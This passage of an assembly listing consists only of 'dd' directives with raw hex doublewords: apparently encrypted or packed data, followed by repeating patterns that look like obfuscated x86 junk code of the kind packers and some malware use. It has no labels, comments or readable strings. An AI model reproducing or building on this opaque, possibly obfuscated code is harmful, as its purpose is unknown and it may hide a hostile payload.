		dd 2BC9C3B4h, 0CBD33546h, 3FBEB85Bh, 0B2D8BA94h, 0A4A2ACE2h
		dd 52FD877Fh, 0D5DA9478h, 0B0B6D8DEh, 462BE153h, 8CC3B48Eh
		dd 0A0872A4Dh, 9CEF29BAh, 462B7496h, 41ECA487h,	0E2B2D867h
		dd 5139CE94h, 2652FDEFh, 0AFF4F8BAh, 0D2F4FA23h, 2BE153B0h
		dd 0C3B48E46h, 8A422BC9h, 9B75D8B0h, 1F8FDB7h, 0ECC6D9FBh
		dd 50474C06h, 0A09B1639h, 90E329BAh, 0B2F0478Ah, 0C6835633h
		dd 0A14D6487h, 0D62929BAh, 2EEDD6D0h, 978E934Bh, 4AA9D5ECh
		dd 0D1B5F4B3h, 0C3ACCED4h, 6487C6C9h, 29BAA14Dh, 34ECCF29h
		dd 0A4898389h, 0B2D812ECh, 254887C6h, 29BAA08Ch, 0DA49FF2h
		dd 6929BAA1h, 2D161016h, 0CED38B6Eh, 0D8522CD7h, 0B05933B2h
		dd 462BE153h, 0ECC6B48Eh, 554C5109h, 1DF3ED4Fh,	2BB2D86Fh
		dd 0C3B08A42h, 2362EDC9h, 0BAA0B100h, 747ACD29h, 0A0CFE252h
		dd 33A429BAh, 0E153B059h, 462BA4E6h, 0B2D8B48Eh, 0B690482Bh
		dd 0B99B75D8h, 0B6D7F9FFh, 0E153B0D4h, 0A387462Bh, 0C3643EE9h
		dd 0C1EAE2C9h, 2B5D29BAh, 0C6B28C44h, 4B5109ECh, 6F1DD8FEh
		dd 5B5B87C6h, 0FD5503C6h, 282DE7CBh, 3D808631h,	29BA1B74h
		dd 0C3DDB70Ah, 24482BC9h, 0BAA0B001h, 0C873C629h, 0E2B2D8EEh
		dd 36BFEFD8h, 90482BABh, 2BC9C3B6h, 0D8B69048h,	0E11EE2B2h
		dd 0FD1973B9h, 5ECC68Fh, 4B51484Dh, 0F0CA79D6h,	2B4D530Bh
		dd 7990482Bh, 0A09A173Ah, 240929BAh, 3C42956Ch,	2BC9C31Ah
		dd 0D8B69048h, 0B07DE2B2h, 0FDFAECB8h, 0E153B08Fh, 0B690482Bh
		dd 482BC9C3h, 75D8B690h, 0F9FEB69Bh, 2BDAFC02h,	0C6B28C44h
		dd 20680E9Ah, 0B0B63E23h, 583D174Eh, 9EA49BA0h,	90482B7Ch
		dd 4D8CC3B6h, 0BAA0872Ah, 969CEF29h, 7ECC674h, 4D534A4Fh
		dd 87C6C715h, 0BAA14D64h, 0D0D62929h, 0BAA1248Dh, 8FFD5729h
		dd 0CAA453B0h, 27252AE4h, 0DAE08B45h, 2BA4E6B8h, 0D8B58F49h
		dd 0C66F1DB2h, 0BAA10EA3h, 0C6E92829h, 29BAA0EBh, 1B3A4093h
		dd 0C9C3EEC8h, 0CCDB79E2h, 492BCE10h, 1639788Fh, 29BAA09Bh
		dd 567990E3h, 29BAA15Bh, 0A8CAD023h, 6F1DC9C3h,	0A112A3C6h
		dd 0C87429BAh, 0EB95EDDBh, 0C39D2376h, 0B6A88D1h, 13CBAE60h
		dd 94775168h, 0F0D9D7DCh, 913C3338h, 7D80758Dh,	7D836B30h
		dd 2BB2D85Bh, 39788F49h, 0BAA09B16h, 8A90E329h,	0FDB2D868h
		dd 0E153B08Fh, 0FA06321Dh, 0A63EF4A0h, 0C6416369h, 0BAA112A3h
		dd 47217429h, 0A10EA3C6h, 0E92829BAh, 0BAA0EBC6h, 3A409329h
		dd 0C6EEC81Bh, 494E08ECh, 0F0EA4C52h, 4D05ECC6h, 514B5148h
		dd 0C3DBB56Fh, 0C66F1DC9h, 0BAA10EA3h, 3B156829h, 0E34F9AC6h
		dd 0DDC1DA61h, 0C6648AD7h, 0BCDF03ECh, 29BAA0F5h, 7E832E81h
		dd 0A0878187h, 0B2D80EE8h, 87C65933h, 0BAA14D64h, 0EBC6E929h
		dd 9329BAA0h, 2B0F6940h, 0CA756C71h, 80F24FC4h,	87C66F1Dh
		dd 41D02D5Bh, 8A903B17h, 0B9E46A47h, 0E7C11429h, 0A10EA3C6h
		dd 156829BAh, 0D9C9C33Bh, 0F3F38F4Bh, 0B66424CFh, 0C2449AC6h
		dd 509A7676h, 5B5F9068h, 90965511h, 3618F231h, 7E33767Ch
		dd 0F829BA05h, 75D8CBA5h, 0F9FEB69Bh, 0C6DAFC02h, 4A4E08ECh
		dd 0C8C804B6h, 96D9DF53h, 10CCBEC5h, 8A422B3Ah,	0E8A08785h
		dd 99F6B7E3h, 0B0D2AC56h, 321DE153h, 26713C06h,	2B3102AEh
		dd 0EA3C609h, 6829BAA1h, 0A12B86A9h, 5329BAh, 0A3C67B55h
		dd 29BAA10Eh, 0C33B1568h, 0C66F1DC9h, 0A14D6487h, 0D62929BAh
		dd 2B5D83D0h, 3DC23344h, 0D31CFD7Ch, 91959202h,	0E6DF51AFh
		dd 0E5C790FBh, 1AF49F4Ah, 9FEDC9C3h, 0B3869AC6h, 62B43FB8h
		dd 0BB98195Ch, 2BDB29B9h, 88868B45h, 0EFE6EBA3h, 9CA15B3Dh
		dd 0D92479A6h, 53B0552Fh, 2867E6E1h, 0BAA0AC05h, 9178D229h
		dd 6282ED9h, 0B2D86F1Dh, 738A422Bh, 5A9FB099h, 98D574A1h
		dd 61838934h, 2A4D8CC3h, 29BAA087h, 72772F14h, 4B51A47Bh
		dd 6487C629h, 29BAA14Dh, 0D6AD654Eh, 0A0837D83h, 75D80EE8h
		dd 0F8FDB79Bh, 0EDD9FB01h, 90482B9Fh, 2BC9C3B6h, 0D8B28C44h
		dd 8F492BB2h, 0BA9E78h,	75D8D8FAh, 7194B89Bh, 29BAA140h
		dd 3338E336h, 0E9A18A3Ch, 0C5E7EDE4h, 3FD2D1E2h, 9AC6A656h
		dd 0E93C969h, 999399D9h, 0C323FDB7h, 8F492BC9h,	9B75D8B5h
		dd 5C14F7B6h, 0B1B56057h, 7AE5B245h, 65878D56h,	0E433442Bh
		dd 7A64A9Ah, 0A60FA2C5h, 146729B9h, 68A7BE69h, 0F7F2AC8Eh
		dd 29B9A5BAh, 496B71C4h, 0CBB28CC3h, 2BEB0D13h,	0C3B58F49h
		dd 6487C6C9h, 29BAA14Dh
		dd 0D6D0D629h, 0D85D37EFh, 0C32BE2B2h, 0F7087A6Fh, 0E153B095h
		dd 0A085442Bh, 41ECE3E8h, 2BC9C367h, 0D8B28C44h, 0C3F298B2h
		dd 33442BC9h, 0D20EC730h, 0C09A4558h, 9AC6B2D8h, 0CB5F114Dh
		dd 73B6BC2Fh, 85C00655h, 83422BD0h, 0EAE1E69Eh,	583C3A3Fh
		dd 0E831999Eh, 3F21488Bh, 2BE153B0h, 0B4FD2044h, 0CA29BAA0h
		dd 29D48E70h, 0A88D677Eh, 0EEF4EBF0h, 0C6C9C3CCh, 4C5109ECh
		dd 72554F55h, 1015CFB3h, 0D8946E19h, 0F6B79B75h, 0A6AB5610h
		dd 5F0AC4A8h, 9AC63759h, 5E057BDBh, 3BF3DA90h, 0A9908A90h
		dd 0B2D817F1h, 53B05933h, 89482BE1h, 0F1E8EDA7h, 0C9C36C46h
		dd 60C69AC6h, 2A88F7F8h, 8B432A24h, 0C59AC6B1h,	8DD8F745h
		dd 0EDE7494Fh, 0BA8982E2h, 452BF529h, 9AC6B18Bh, 0ADD1F7BFh
		dd 0E3303666h, 21225480h, 678B2649h, 0A0F329BAh, 0A70F209Ch
		dd 321D7FA1h, 0B6BB7358h, 0C697B9BFh, 0FC9AD87h, 0A0EBC609h
		dd 275329BAh, 753DA711h, 113036DDh, 0C9C3E4BEh,	0BAA0CFE2h
		dd 4E286729h, 0FAB7B26Ch, 8429BAA0h, 2B092B31h,	0C6B18B45h
		dd 63490AECh, 96F8FEA9h, 0E9A3855Fh, 482BC1E3h,	87C6B690h
		dd 0BAA14D64h, 0AD654E29h, 0DB937CD6h, 2E34DFD6h, 452BBBE1h
		dd 87C6B18Bh, 66BF385Bh, 0D085DF5h, 29BA83A4h, 348187DAh
		dd 0B059330Eh, 482BE153h, 0C9C3B690h, 868A422Bh, 8990F456h
		dd 924000DDh, 0ECC6B2D8h, 4C464C06h, 0C3D2AC66h, 15CDB28Ch
		dd 9FEDED0Fh, 0BAA0CFE2h, 5933A429h, 2A009AC6h,	0BE046C2Ah
		dd 94EEEE4h, 0CBD17CDAh, 704AF956h, 0ABCDD38Bh,	6F1DA4E6h
		dd 482BB2D8h, 173A7990h, 29BAA09Ah, 698B91E4h, 6F1DB2D8h
		dd 0A112A3C6h, 0F53429BAh, 0BAA0DFD2h, 92449729h, 0F8EFF4AEh
		dd 0A680D3F2h, 0ECC6C9C3h, 0F4BDE006h, 8A29BAA0h, 90878C37h
		dd 0F5AD908Ah, 651D04DEh, 1016CEB3h, 0C6C9C3EEh, 7332549Ah
		dd 0B9FB6150h, 0C6CA1D29h, 60C71B9h, 0F5D985C7h, 252DA55Ah
		dd 0D840EEAEh, 8D472BB2h, 0F4B39C76h, 584F540Eh, 0ABB1A8ADh
		dd 0E2C9C389h, 29BAC148h, 21472B3Bh, 5DC665F5h,	0A055DF2h
		dd 29B9FBA7h, 0F7D17CCFh, 6F1DB2D8h, 500AECC6h,	6DACEB4Ah
		dd 0BAA1674Ah, 98523429h, 25686EC1h, 29BAA08Ch,	0CEF486B2h
		dd 0A83665EEh, 563083A2h, 9FEDC9C3h, 0B38D472Bh, 472BC9C3h
		dd 87C6B38Dh, 2647785Bh, 332E309Bh, 29B9D77Eh, 529FA5F8h
		dd 0F79AC62Ch, 98229DFh, 0F5BCFF05h, 7E29BA31h,	53B05933h
		dd 6F4265A4h, 729BAA1h,	0C68CAEB4h, 40242E9Ah, 0FA008189h
		dd 88621C00h, 4C06ECC6h, 374C5047h, 26754941h, 0FCF6585Eh
		dd 0A187462Bh, 0A159587Bh, 0D22529BAh, 8B657C27h, 0F3EAEFA9h
		dd 0B2D8CBEDh, 4E08ECC6h, 0C94E5249h, 0F2EE6364h, 1B0F3F9h
		dd 7A29BA57h, 4F07ECC6h, 534D534Ah, 739FB66Eh, 6A74514Ah
		dd 30E15449h, 0D518F4F8h, 440B0A26h, 0C36EE82Bh, 0C9C39BBDh
		dd 0B38D472Bh, 462BB2D8h, 0B2D8B48Eh, 53B05933h, 8D472BE1h
		dd 0D04A4A76h, 64DA25F4h, 0C9C33C5Eh, 9E87462Bh, 0E3E1E6h
		dd 0A14C4348h, 0C9C31CF6h, 1D34472Bh, 0E133347h, 0D8FFD984h
		dd 6321DB2h, 33F21AF8h,	3E606634h, 0A10EA3C6h, 156829BAh
		dd 853D24FEh, 61838980h, 133675D8h, 29BAA09Eh, 5D7F85D8h
		dd 0B38D472Bh, 66608CC3h, 0BFE210A2h, 2B4D6F75h, 20CE8E46h
		dd 0A10EA3C6h, 156829BAh, 894124FEh, 65878D84h,	6F1DC9C3h
		dd 0A4E6B2D8h, 75D86F1Dh, 0F5FBB59Bh, 89482BD3h, 42FCE2A3h
		dd 0F09B463Dh, 631DFFD9h, 0C9C33B5Dh, 0B58F492Bh, 133675D8h
		dd 29BAA09Eh, 5D7F85D8h, 0ECC69FEDh, 4C464C06h,	0B2C5A96Ah
		dd 385428EAh, 49F49F51h, 0B28CC36Fh, 170E13CBh,	85B07913h
		dd 0F5FBBFA8h, 8862EDD3h, 0EDE4E9A1h, 0CFE2C5E7h, 6729BAA0h
		dd 0EDF2AA8Dh, 0FDCEF0F6h, 0E153B08Fh, 503B67E6h, 6121FE07h
		dd 2B4C6E74h, 0D8B28C44h, 8D472BB2h, 87C61FCDh,	0BAA14D64h
		dd 0D0D62929h, 0A1634E71h, 0C81B29BAh, 0E2C9C3EEh, 29BAA0CFh
		dd 33442BA4h, 28CBBA73h, 2A04AFEAh, 4C06ECC6h, 0E84A5047h
		dd 8F492BEEh, 0E2B2D8B5h, 0CF7CBE0h, 0F01C3353h, 473CB602h
		dd 2A4C5230h, 2BE153B0h, 0B1002349h, 0CD29BAA0h, 0C3F5CF7Ah
		dd 8F492BC9h, 0C6B2D8B5h, 99EB679Ah, 3B4176B6h,	0C810C5F8h
		dd 8FFD4E5Fh, 2BE153B0h, 9E788F49h, 29F6A7BAh, 8A860730h
		dd 0DDE3DADFh, 2BC9C3BBh, 0D8B58F49h, 0FFB99B75h, 0C9EC03FAh
		dd 29BAA0E8h, 13353B8Eh, 0FD20442Bh, 29BAA0B4h,	0F2CC77CAh
		dd 500AECC6h, 14E544Bh,	0C65933DBh, 830D599Ah, 9399180Eh
		dd 2B4FC11Eh, 0C3B58F49h, 8F492BC9h, 0E2B2D8B5h, 5FC8DBDBh
		dd 0B0593358h, 492BE153h, 0A0B10023h, 7ACD29BAh, 0FCDEB8CFh
		dd 40463D42h, 2BC9C31Eh, 39788F49h, 0BAA09B16h,	912DB629h
		dd 97B53017h, 33566DC0h, 29B9E57Eh, 7D9FA5F8h, 0E0E2B2D8h
		dd 530CF7CBh, 858A422Bh, 0F9E0A187h, 29919641h,	604083E0h
		dd 0E153B0F2h, 0B58F492Bh, 442BC9C3h, 0C9C3B28Ch, 788F492Bh
		dd 0FA00BA9Eh, 9B75D8D8h, 5A12F5B4h, 6018FDAFh,	3C5E645Bh
		dd 4D6487C6h, 2929BAA1h, 248DD0D6h, 1A29BAA1h, 0A0F9B8DBh
		dd 328529BAh, 59330A2Ch, 2BE153B0h, 0C3B58F49h,	0D86F1DC9h
		dd 8F492BB2h, 9B75D8B5h, 6448FAB2h, 1D82A4AAh, 12A3C66Fh
		dd 7429BAA1h, 0C9C34721h, 788F492Bh, 0FC01B99Eh, 0C3DDFF05h
		dd 0C66F1DC9h, 0E202B89Ah, 0BADB86A1h, 37393D4Dh, 0DC947981h
		dd 2F35E0D7h, 0ECC6BCE2h, 0AB634807h, 79BBFA00h, 4B03ECC6h
		dd 2B09C345h, 49858A42h, 68823A23h, 455E7F4Dh, 9DFCD1D6h
		dd 0B5629F9h, 2F2A3C08h, 29BBF77Eh, 72E10D24h, 0E39B7E36h
		dd 8D221ADFh, 3A3FF9DBh, 2DB73D43h, 0E9A18647h,	2842EDE4h
		dd 0B1B67056h, 0CDBEEA75h, 117477C2h, 4B62A5ABh, 5729BBBAh
		dd 9180EF7Bh, 1AD64677h, 0E70190EDh, 48464B05h,	5BDA463h
		dd 8069435Ah, 0C6CCC3C8h, 0DC947B79h, 4B05EBC5h, 0F1C0E346h
		dd 8D29B988h, 3C898F3Ah, 5F19FFD9h, 255D635Ah, 0BA606E9Ah
		dd 9E8D1B5Ah, 5FDC4498h, 0DAB02548h, 4706D643h,	0BC248D24h
		dd 0EB96E929h, 0F61BB6D1h, 0F6CF29F8h, 0E5C33994h, 428EBCA5h
		dd 6A000000h, 0DCAEC882h, 51233DF5h, 0C89AB46Ch, 3B0D27DFh
		dd 30859F59h, 0F6B09287h, 6C260ADCh, 0E59D8052h, 5913F9CBh
		dd 51745F3Fh, 21D31060h, 0C60AA416h, 484E08ECh,	0FB086405h
		dd 38F29h, 24250000h, 89432B66h, 0E6A08684h, 4800E3E1h
		dd 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h,	25DDC2C0h
		dd 833B2220h, 16686D7Eh, 0E907E746h, 0FFF8EF2Bh, 8B604221h
		dd 0C9CAFE0Fh, 0AEA80DF8h, 148A4970h, 0ABA80DF9h, 0EC75EAD5h
		dd 54A80DF9h, 0BA8A4976h, 157AE5Dh, 0DC8A4976h,	0ABA80DFEh
		dd 0A775EAD5h, 77A80DFEh, 218A4977h, 0F1A80DFFh, 9B8A4977h
		dd 0ABA80DFFh, 2575EAD5h, 0C648D42Fh, 0C00312CDh, 534FC015h
		dd 0D6C490A7h, 0D1215645h, 426D8491h, 0C70DD42Fh, 0C00312CDh
		dd 534FC01Dh, 0D67790A7h, 0D1215645h, 426D84EDh, 0C0FCD42Fh
		dd 0C00312CDh, 534FC069h, 0D12390A7h, 0D1215645h, 426D84F9h
		dd 0C045D42Fh, 0C00312CDh, 534FC075h, 0D0BC90A7h, 0D1215645h
		dd 426D84F5h, 0C1DFD42Fh, 0C00312CDh, 534FC041h, 0D03290A7h
		dd 0D1215645h, 426D84CDh, 0C151D42Fh, 0C00312CDh, 534FC049h
		dd 0D3B890A7h, 0D1215645h, 426D84C5h, 5012B8C3h, 0CEDF152Ah
		dd 0A86CD24Eh, 458AFD4Ah
		dd 0D5F251A2h, 0A2188FC0h, 0A8ED96A5h, 458A152Ah, 67A02429h
		dd 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah, 0BA415564h, 0CE75EAD5h
		dd 693AAE63h, 848DF50Ch, 11AB5342h, 55FFEA22h, 0ABA4245Dh
		dd 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh
		dd 292359D7h, 0B9CFD226h, 54A851A2h, 4162AD6Ch,	660351A2h
		dd 0EE27BFEAh, 9414DB2Fh, 947512CDh, 0D9020112h, 0A24AA9A0h
		dd 0EC79AEA5h, 41AE51A1h, 0E822DC09h, 0BA8DF2EAh, 0DF103773h
		dd 0C821732Ah, 0B368ED28h, 0FD5BEA2Dh, 508C152Bh, 0F9009881h
		dd 0ABAFB662h, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h
		dd 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0A2194FC0h
		dd 5CDDDAA5h, 828668A1h, 54A8ADE7h, 0BACC152Ah,	0B4875830h
		dd 0CE529E2Dh, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h, 0A24AA9A0h
		dd 0D79AEA5h, 2320949Ah, 328C551Ah, 6E218481h, 29215DDFh
		dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 458A15C2h
		dd 0BE290BA2h, 426D869Bh, 0DFA02429h, 4D1957h, 54A8515Eh
		dd 0D775532Ah, 53487EABh, 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h
		dd 0D9F9FA31h, 0A24AA9A0h, 0D79AEA5h, 2320949Ah, 328C651Ah
		dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
		dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h,	953BFDA2h
		dd 97B91DC9h, 0DE049191h, 454A38F2h, 0A82851A2h, 5E0E1AD5h
		dd 0EDA851A2h, 458A1523h, 862DA055h, 45869025h,	0A32851A2h
		dd 8E4B7332h, 972337AAh, 38A1BE4Ch, 0A8D5D8AEh,	0B9CF9E4Bh
		dd 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh
		dd 458A152Ah, 0B769C20Eh, 76582622h, 8C22FD62h,	458AD507h
		dd 0AB54D1A2h, 45939125h, 5D1151A2h, 0B28A152Ah, 5B7AD453h
		dd 458A1FAFh, 5610E0A2h, 0EF4B93E2h, 7F039191h,	38031957h
		dd 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h,	0DFA02429h
		dd 4D1957h, 54A8515Eh, 9D00B92Ah, 0D4A7B222h, 860085E1h
		dd 0E822DC08h, 0BA8DF2EAh, 0FEF8E173h, 85369FA7h, 85575645h
		dd 6E20D6A0h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
		dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h,	54AFE9A2h
		dd 0D775152Ah, 5348779Fh, 0C8204526h, 0B368ED28h, 0F55BEA2Dh
		dd 949BFB2Bh, 2E853186h, 50AC5962h, 0EFAEA580h,	0DDA42C89h
		dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah
		dd 93A42C29h, 458AE96Fh, 0FE0451A2h, 6A8387D5h,	8C235642h
		dd 0EF491786h, 9414DB2Fh, 947512CDh, 0BD28E9C4h, 8600BE4Ch
		dd 58D57A08h, 247668A3h, 9D541429h, 108A1DE8h, 902BBD29h
		dd 300175D6h, 58D5DAAAh, 457650EDh, 0F8A851A2h,	4C18EA80h
		dd 0DFAFB18Dh, 8558B9E2h, 0E832DC08h, 0BA8DF2EAh, 94103771h
		dd 0CF2173E3h, 2983FB63h, 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h
		dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h
		dd 0D775BF86h, 53487EABh, 7726DDA1h, 0CE25FB63h, 426DD596h
		dd 0ECCE825Dh, 0EEECE4AAh, 7F029028h, 38031957h, 1123305Eh
		dd 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h
		dd 54A8515Eh, 7732732Ah, 0D903376Bh, 0A24AA9B0h, 327BAEA5h
		dd 234B9592h, 0FE04FD09h, 0CC866801h, 0DFC9ADDFh, 8743E96Fh
		dd 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h, 828668A1h, 54A8ADE7h
		dd 0FDEC152Ah, 0FFCEB824h, 85368FA7h, 87575645h, 320A09Ah
		dd 0CE25FB0Eh, 426DD596h, 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h
		dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah
		dd 0D5F251A2h, 0A21C97C0h, 0A8ED96A5h, 458A152Ah, 0DFA02429h
		dd 79261957h, 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah
		dd 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h
		dd 798A152Ah, 6B2A5EFAh, 0AC8A152Ah, 54A851D6h,	0BA8660D5h
		dd 0CE2559D7h, 426D849Dh, 0DA32DCF1h, 0BA8DF2B8h, 0A8EDD871h
		dd 458A42C3h, 58DDAEA2h, 0C88260D5h, 0B3399638h, 0DF07462Dh
		dd 534FC32Ch, 3C6D5h, 5492B85Eh, 3075152Ah, 5CDDAEAEh
		dd 0D4598FA7h, 0D9FB5645h, 0A2189BB0h, 0DD7BAEA5h, 5863E96Fh
		dd 0ABA851A2h, 3075195Fh, 8B32DCAAh, 168DF2BBh,	0C626CB2Fh
		dd 967512CDh, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h
		dd 3044BAh, 16EB00h, 4 dup(0)
		dd 1000000h, 3B401h, 6A07E700h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 1299C350h, 0E5690D7Ah
		dd 20A98D8Bh, 8A5007E0h, 240489F4h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0E1C35343h,	8BA33EB3h, 0B31E37B9h
		dd 6E919h, 0A6700000h, 394AB55Ah, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 430F7DC3h
		dd 7BC23C41h, 8B0F0BEFh, 0F006AC8h, 9D89F8B7h, 7E024F5h
		dd 98BC858Dh, 6A07E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0D1275CC3h, 2C35BD8Bh, 669007E0h
		dd 509118B9h, 9E8h, 0E8175700h,	14F799AAh, 4CBF06F8h, 5A2406B2h
		dd 6810F90h, 2B000000h,	0E0290D9Dh, 6AEFB507h, 0E2E38000h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 11E9C2C3h, 0A000000h, 0C61DFB42h,	0AC6D40F9h
		dd 70CEF703h, 0DC1EE7DDh, 344195FFh, 6A07E0h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B6354C3h
		dd 0E02FC19Dh, 600E907h, 958B0000h, 7E02DA5h, 0E8h, 0ED815D00h
		dd 7E798C1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	8EC35545h, 9509608Eh, 7E01D41h,	98F78166h, 16686192h
		dd 0FFC42FBh, 38Fh, 0D98B6600h,	8A240481h, 8003BD14h, 95FFD2CFh
		dd 7E018A9h, 974FB58Dh,	816607E7h, 0C75A57F3h, 67655206h
		dd 79BD316Dh, 0C707E032h, 6E6F0446h, 6A6C63h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD8916C3h
		dd 7E01049h, 0CE9h, 8C641C00h, 6B08D4F4h, 0A41BC4FBh, 0AE974h
		dd 0E1000000h, 55DF4FA1h, 0FECB52D8h, 610846C7h, 66007373h
		dd 6AD08Bh, 485958Bh, 858D07E0h, 7E7974Fh, 90DEB70Fh, 5750CE8Bh
		dd 905ACE8Bh, 10ED950Bh, 95FF07E0h, 7E02531h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 92C35242h, 23C56F2Ch
		dd 0C00BB32Ah, 4F840Fh,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 2CF271C3h, 465E94Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 54A652C3h, 9ED355F0h, 8B3BA8A6h, 0E007B595h
		dd 0A31C6807h, 830FB817h, 10h, 0BE9h, 40FB2700h, 0F2308E5Fh
		dd 0BDF1EED5h, 10240481h, 6A47E85Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 197DC353h
		dd 22C6F436h, 0EB0BDBEBh, 5E9h,	4D394700h, 95FF413Fh, 7E018A9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 5EC35545h
		dd 6A35DCC4h, 95F859ECh, 2E259D89h, 13E807E0h, 98000000h
		dd 96B1408Dh, 1681A2B7h, 0B6990B71h, 3B1958BBh,	0EA8A7A74h
		dd 4FB58D5Bh, 6A07E797h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0D0D2C353h,	0F9B79314h
		dd 0D61715A7h, 383106C7h, 0F5803634h, 446C707h,	31342D37h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 6C35141h
		dd 8A46DD89h, 0DE59EA83h, 0BE94Bh, 0F1D10000h, 494C20BEh
		dd 0ADBED4F2h, 14E9E3h,	0BFDB0000h, 9F3F39Dh, 0AEE8C76h
		dd 45AC2F6Ch, 161E21D0h, 46C786A0h, 8, 0A9958900h, 8007E02Fh
		dd 6A12DEh, 451BD8Bh, 858D07E0h, 7E7974Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 49C35343h, 0E80F7CA3h
		dd 5096B6B2h, 0BE8h, 0AF94DA00h, 68F275F5h, 63CF57ECh
		dd 5AF88B66h, 6A240489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 72FDC350h, 81FF30B1h
		dd 8A44CFDFh, 3195FF1Eh, 6A07E025h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 84EEC351h
		dd 699D29D5h, 0B07E02Ah, 69840FC0h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 9FD8C355h, 6AF5828Fh, 6061272Ch, 8B0F50h, 5E000000h
		dd 0A8C0Fh, 5E90000h, 10000000h, 0A6C7708h, 221E961h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 91AB57C3h, 0BD89985Bh, 7E0127Dh, 4E8h, 12C00h, 66525000h
		dd 310FCB8Bh, 585A5F57h, 0CE850h, 0DF480000h, 0E256BB54h
		dd 95578211h, 8F0F4208h, 2, 8B5FD38Bh, 8B042444h, 24448900h
		dd 48E0F04h, 66000000h,	582236BAh, 0FFF8B70Fh, 0E018A995h
		dd 85015607h, 7E01471h,	4FB58D5Bh, 6007E797h, 0BE9h, 0F0A31D00h
		dd 0CCAA8D8Ah, 0C9E4CD65h, 0FF9B529h, 0E86107E0h, 11h
		dd 90C9FB1Eh, 665E581Ah, 809CF281h, 4C526BD1h, 5FF48AE3h
		dd 694606C7h, 8A0F656Ch, 2, 46C7D78Bh, 6E6F6D04h, 7810F63h
		dd 60000000h, 0D6805F52h, 46C7611Fh, 73616C08h,	159D8B73h
		dd 0C707E00Eh, 0C46h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0DD8CDBC3h, 0A62A4CEBh
		dd 5B58589h, 6A07E0h, 0E856006Ah, 3, 5EC35E20h,	4247489h
		dd 4244481h, 1Ch, 0E0C35646h, 3FCDCE0Ah, 0FBF431C1h, 35858957h
		dd 5A07E00Fh, 30DDBD29h, 858D07E0h, 7E7974Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0C1C35040h, 46064661h
		dd 3CB83BADh, 0E890F5EBh, 0Eh, 0A30378B9h, 0A744D9FEh
		dd 3485C9B6h, 50595C25h, 6A90D18Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0DF72C352h
		dd 95FFE35Eh, 7E02531h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 3AC35141h, 957C9132h,	31852956h, 5B07E02Eh
		dd 2F6D9589h, 0C00B07E0h, 36840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 22B134C3h
		dd 7ADB81DCh, 0E904FB44h, 13h, 1B619589h, 950307E0h, 7E01829h
		dd 0FFFA6BE9h, 8D5B57FFh, 0E0748DB5h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 7A51C3E0h, 30D19D29h, 0B807E0h, 60000000h, 15419D29h
